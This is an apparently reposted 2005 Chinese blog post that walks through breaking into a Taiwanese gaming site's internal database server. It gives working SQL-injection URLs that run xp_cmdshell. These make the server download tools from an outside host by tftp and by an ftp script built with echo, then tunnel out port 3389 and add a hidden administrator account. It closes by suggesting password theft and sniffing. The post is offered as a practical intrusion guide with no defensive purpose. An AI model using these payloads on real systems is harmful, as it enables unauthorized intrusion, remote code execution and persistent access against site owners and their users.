您的位置:首页 > 数据库

内网数据库服务器入侵实战【收藏】

2005-12-21 15:13 134 查看
前言:对付服务器在内网而且对外不开放端口的数据库服务器,除了反弹端口得到一个shell外,没别的好办法,Do all in cmd,太麻烦,不方便我们进一步渗透内网,以下通过一个站点说明我的办法。

目标:http://xx.tw,台湾最大的游戏综合网站,前期信息,web存在注入点,web服务器和数据库服务器不是同一个机器。连接数据库服务器的是sql的sa权限,用nbsi2看过,是在内网,而且数据库服务器对外不开端口,web服务器只开80端口映射,我们来看看数据库服务器能不能上网。 http://xx..tw/news-game.asp?ch_id=001&newsid=2215' create table [xl] ([xl1][varchar](255),[xl2][varchar](255))—
http://xx..tw/news-game.asp?ch_id=001&newsid=2215' insert into xl(xl1) exec%20master.dbo.xp_cmdshell%20'ping 163.com'--

然后爆出xl1的内容,恩,这个内网的机器可以上网,一切都是这么幸运。开始传一个可以下载东西的程序过去先。是winegg的down.exe
http://xx..tw/news-game.asp?ch_id=001&newsid=2215 insert%20into%20xl(xl1) exec%20master.dbo.xp_cmdshell%20'tftp -I 211.78.39.64 get down.exe'--

用xp_dirtree看看,system32下没这个文件,xl1里边也显示超时不成功,换个tftp服务器测试,还是不成功,只有用ftp了:
http://xx.tw/news-game.asp?ch_id=001&newsid=2215' exec%20master.dbo.xp_cmdshell%20'echo open 211.78.39.64 >345.txt'-- http://xx.tw/news-game.asp?ch_id=001&newsid=2215' exec%20master.dbo.xp_cmdshell%20'echo xxxx >>345.txt'-- http://xx.tw/news-game.asp?ch_id=001&newsid=2215' exec%20master.dbo.xp_cmdshell%20'echo xxxx >>345.txt'-- http://xx.tw/news-game.asp?ch_id=001&newsid=2215' exec%20master.dbo.xp_cmdshell%20'echo get down.exe >>345.txt'-- http://xx.tw/news-game.asp?ch_id=001&newsid=2215' exec%20master.dbo.xp_cmdshell%20'echo qui >>345.txt'-- http://xx.tw/news-game.asp?ch_id=001&newsid=2215' exec%20master.dbo.xp_cmdshell%20'ftp -s:345.txt'--

ok,成功。然后可以下载东西了,先下载个卡端口的fprt.exe,查看xl1,发现成功,看看他开了什么端口。
http://xx.tw/news-game.asp?ch_id=001&newsid=2215'%20insert%20into%20xl(xl1)%20exec%20master.dbo.xp_cmdshell%20'down.exe%20http://666w.com/tools/foprt.exe'-- http://xx.tw/news-game.asp?ch_id=001&newsid=2215'%20insert%20into%20xl(xl1)%20exec%20master.dbo.xp_cmdshell%20'fport'--

开了3389,但是显然没对外网映射,怎么办呢?我们要把他映射出来,找到了yyc写的vIDC软件,这个软件分客户端和服务器端,服务器端idc.exe在肉鸡运行,使用默认8080端口,直接在肉鸡运行就ok。客户端vIDCc.exe、vIDCc.DLL,是图形界面的,不能用,我来修改一下,加个ini文件,让他按ini文件里的配置自动连接绑定端口,ok,用down.exe下载到入侵的服务器,运行就已经绑定了3389了,在入侵的机器上添加管理员:
http://xx.tw/news-game.asp?ch_id=001&newsid=2215' exec master.dbo.xp_cmdshell 'vidcc.exe'-- http://xx.tw/news-game.asp?ch_id=001&newsid=2215' exec master.dbo.xp_cmdshell 'net user xiaolu luaixue /add'-- http://xx.tw/news-game.asp?ch_id=001&newsid=2215' exec master.dbo.xp_cmdshell 'net localgroup administrators xiaolu /add'--

Ok 登陆,

进去后,看了看web服务器开了几乎所有能开的端口包括139,然后,findpass,sniffer,等等,就看你的了。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: